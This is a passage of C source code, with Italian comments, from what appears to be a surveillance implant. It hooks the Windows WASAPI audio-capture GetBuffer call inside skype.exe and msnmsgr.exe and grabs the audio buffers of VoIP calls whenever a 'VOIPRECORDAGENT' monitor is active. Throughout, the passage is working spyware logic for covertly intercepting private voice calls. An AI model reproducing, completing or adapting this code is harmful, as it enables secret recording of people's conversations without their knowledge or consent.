Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (ret_code!=S_OK || !Active || !(*Active))
return ret_code;
pData->obj_ptr = class_ptr;
pData->audio_data = *ppData;
return ret_code;
}
HRESULT __stdcall PM_WASAPICaptureGetBufferMSN(BYTE *class_ptr,
BYTE **ppData,
UINT32 *pNumFramesToRead,
DWORD *pdwFlags,
UINT64 *pu64DevicePosition,
UINT64 *pu64QPCPosition)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(WASAPIGetBufferStruct)
CALL_ORIGINAL_API(6);
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (ret_code!=S_OK || !Active || !(*Active))
return ret_code;
// E' una nuova chiamata
if (pData->obj_ptr && pData->obj_ptr2 && pData->obj_ptr!=class_ptr && pData->obj_ptr2!=class_ptr) {
pData->obj_ptr = NULL;
pData->obj_ptr2 = NULL;
}
// Memorizza entrambi gli oggetti aperti da MSN
if (pData->obj_ptr == NULL) {
pData->obj_ptr = class_ptr;
pData->audio_data = *ppData;
} else if (pData->obj_ptr != class_ptr) {
if (pData->obj_ptr2 == NULL) {
pData->obj_ptr2 = class_ptr;
pData->audio_data2 = *ppData;
}
}
if (pData->obj_ptr == class_ptr)
pData->audio_data = *ppData;
if (pData->obj_ptr2 == class_ptr)
pData->audio_data2 = *ppData;
return ret_code;
}
DWORD PM_WASAPICaptureGetBuffer_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe"))
return 1; // Hooka solo skype.exe
} else
return 1;
WASAPIGetBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIGetBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIGetBufferData.obj_ptr = NULL;
WASAPIGetBufferData.audio_data = NULL;
if (GetWASAPICaptureFunction(&(WASAPIGetBufferData.bAPIAdd), WASAPI_GETBUFFER, NULL, NULL) != S_OK)
return 1;
WASAPIGetBufferData.dwHookLen = 350;
return 0;
}
DWORD PM_WASAPICaptureGetBufferMSN_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "msnmsgr.exe") || !IsVista(NULL))
return 1; // Hooka solo MSN
} else
return 1;
WASAPIGetBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIGetBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIGetBufferData.obj_ptr = NULL;
WASAPIGetBufferData.obj_ptr2 = NULL;
WASAPIGetBufferData.audio_data = NULL;
WASAPIGetBufferData.audio_data2 = NULL;
if (GetWASAPICaptureFunction(&(WASAPIGetBufferData.bAPIAdd), WASAPI_GETBUFFER, NULL, NULL) != S_OK)